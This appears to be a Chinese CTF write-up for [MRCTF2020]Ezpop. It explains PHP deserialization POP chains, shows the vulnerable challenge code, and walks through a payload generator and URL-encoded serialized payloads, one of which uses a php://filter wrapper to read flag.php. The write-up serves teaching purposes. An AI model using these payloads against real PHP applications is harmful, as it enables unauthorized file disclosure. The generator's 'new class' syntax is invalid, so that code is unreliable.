[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

题目是pop,考的其实就是pop链,可以自己先学学,啥也不会QAQ

php反序列化之pop链_pop3.phpwelcome-CSDN博客

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

感觉就是利用魔术方法达到自己的目的(魔术方法可以理解成php函数的生命周期)

看看这道题的源码:

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

然后开始分析

可以先看看读取文件的函数 highlight_file()

这道题的关键目的是为了得到flag.php,所以思考怎么得到?

可以看到Modifier类中有个append()方法将传入的参数进行包含

unserialize 会自动调用_wakeup 将source看成字符串,但是source为对象的话触发_toString,

看看_toString函数,将str的值赋值给source,如果str的值不存在就会触发_get方法

看看_get方法,将Test类属性p的值赋值给function,再将function当作函数进行输出,所以又调用了_invoke

Modifier类中的append()方法会将传入参数包含,而此处的魔术方法_invoke将Modifier类中的var属性作为传入值来调用append()的函数,所以这里将flag.php赋值给var

这里总结一下这整个pop链

反序列化unserialize -> _wakeup -> source为对象的话 ---> _toString -> str的值不存在的话 -> _get -> 返回Test类中属性p的函数的调用结果 -> 调用_invoke -> include()包含目标文件flag.php

简单理解一下,就构造一下payLoad:

php 复制代码
<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a=new class Modifier;
$b=new class Show;
$c=new class Test;
//将Modifier类的值赋值给Test类中p属性,触发_invoke
$c->p=$a;
//赋值$b下的str为对象$c,触发_get
$b->str=$c;
//source的值要为对象,将上面赋值过的对象给$b->source,触发_toString
$b->source=$b;
echo urlencode(serialize($b));
?>

使用urlencode是为了编码privateprotect属性,防止他们序列化出来有%00截断

得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

但是直接包含flag.php得不到flag,需要读取flag.php中的源码,

利用php伪协议来读取源码,所以简单修改一下

protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

将内容进行解码,得到flag

相关推荐
不染_是非30 分钟前
Django学习实战篇四(适合略有基础的新手小白学习)(从0开发项目)
数据库·后端·学习·django·web
OEC小胖胖18 小时前
CSS中隐藏滚动条的同时保留滚动功能
前端·css·web·网页开发
牧码岛1 天前
物联网之ESP32与微信小程序实现指示灯、转向灯
前端·嵌入式硬件·物联网·微信小程序·web·web前端
ChinaRainbowSea2 天前
十四,在Spring Boot当中对应“ Tomcat 服务器的相关配置”和“服务器的切换”的详细说明
java·spring boot·spring·tomcat·web
LLINELL2 天前
2024秋季云曦开学考
web·misc·rce
wuming先生2 天前
关于axios同步获取数据的问题
axios·web·异步网络
ChinaRainbowSea2 天前
十一,Spring Boot 当中配置拦截器的“两”种方式
java·spring boot·后端·spring·web
ChinaRainbowSea2 天前
十二,Spring Boot 异常处理(自定义异常页面,全局异常,自定义异常)
java·spring boot·后端·spring·web
技术无疆2 天前
跨平台开发新视角:利用Android WebView实现Web内容的原生体验
android·java·前端·ios·react·web·webview
一条晒干的咸魚3 天前
CSS基本布局理解(测试)——WEB开发系列38
前端·css·css3·web·float浮动